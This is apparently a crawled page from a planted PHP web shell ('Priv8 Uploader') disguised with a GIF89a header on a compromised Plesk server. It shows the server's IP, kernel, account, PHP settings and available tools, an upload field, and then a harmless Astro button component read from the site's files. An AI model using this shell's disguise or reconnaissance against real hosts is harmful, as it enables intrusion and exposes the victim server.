GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/ |
Upload File : |
---
import { sanitizeHref } from "../utils/url.js";
/**
* Portable Text Button block component
*
* Renders a single button from WordPress imports.
*/
export interface Props {
node: {
_type: "button";
_key: string;
text: string;
url?: string;
style?: "default" | "outline" | "fill";
};
}
const { node } = Astro.props;
const { text, url: rawUrl, style = "default" } = node ?? {};
const url = rawUrl ? sanitizeHref(rawUrl) : undefined;
---
{
url ? (
<a href={url} class:list={["emdash-button", `emdash-button--${style}`]}>
{text}
</a>
) : (
<span class:list={["emdash-button", `emdash-button--${style}`]}>{text}</span>
)
}
<style>
.emdash-button {
display: inline-block;
padding: 0.75em 1.5em;
border-radius: 4px;
text-decoration: none;
font-weight: 500;
cursor: pointer;
transition:
background-color 0.2s,
border-color 0.2s,
color 0.2s;
}
.emdash-button--default,
.emdash-button--fill {
background-color: var(--emdash-button-bg, #0073aa);
color: var(--emdash-button-color, #fff);
border: 2px solid var(--emdash-button-bg, #0073aa);
}
.emdash-button--default:hover,
.emdash-button--fill:hover {
background-color: var(--emdash-button-bg-hover, #005177);
border-color: var(--emdash-button-bg-hover, #005177);
}
.emdash-button--outline {
background-color: transparent;
color: var(--emdash-button-bg, #0073aa);
border: 2px solid var(--emdash-button-bg, #0073aa);
}
.emdash-button--outline:hover {
background-color: var(--emdash-button-bg, #0073aa);
color: var(--emdash-button-color, #fff);
}
</style>